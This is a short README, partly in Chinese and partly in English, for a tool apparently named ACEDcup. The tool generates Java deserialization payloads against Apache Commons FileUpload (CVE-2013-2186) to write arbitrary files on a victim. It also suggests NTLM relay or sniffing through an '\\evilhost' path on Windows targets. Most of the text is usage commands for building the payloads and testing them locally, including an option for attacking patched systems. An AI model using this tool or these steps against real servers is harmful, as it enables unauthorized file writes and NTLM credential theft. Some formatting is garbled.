ACEDcup 工具是一个用于 Java 二进制反序列化攻击 (ACED) 的载荷生成器。
适用于 Apache Commons FileUpload 版本 <= 1.3 (CVE-2013-2186) 和 Oracle JDK 版本 < 7u40
该攻击甚至对更新版本的库或 Java 也有效。我们可以将任意内容上传到任意目录，但 在此情况下无法控制文件名（例如 upload_f71d3547_72ed_4ae1_90fe_0d319115cd42_00000000.tmp）。不过，在某些情况下它可能仍然有用。
此外，如果目标运行 Windows 操作系统，我们还可以执行 NTLM 中继/嗅探攻击（使用 \\evilhost\any\path）。
1)At first, we create a serialized payload:
java -jar aced_cup.jar /path/payload /path/target /path/out 1
/path/payload - a path to a file with your payload
/path/target - a path to a file that will be created in your victim (this will be stored in the serialized payload)
/path/out - a path to a file with serialized payload
0 - turn off null-byte ending if you attack a patched system (with null-byte- by default)
2)Then we set the serialized payload to the serialized reader (if we want to test the vuln on your host) :
java -jar ser_reader serialized_payload.txt
ser_reader tries to deserialize the payload and because of a vulnerability in it's library, it creates a new file in the directory specified.
java -jar aced_cup.jar D:\\cup_exploit\\payload.txt /home/user/test/any_name.txt D:\\cup_exploit\\serialized_payload.txt
```java -jar ser_reader D:\cup_exploit\serialized_payload.txt````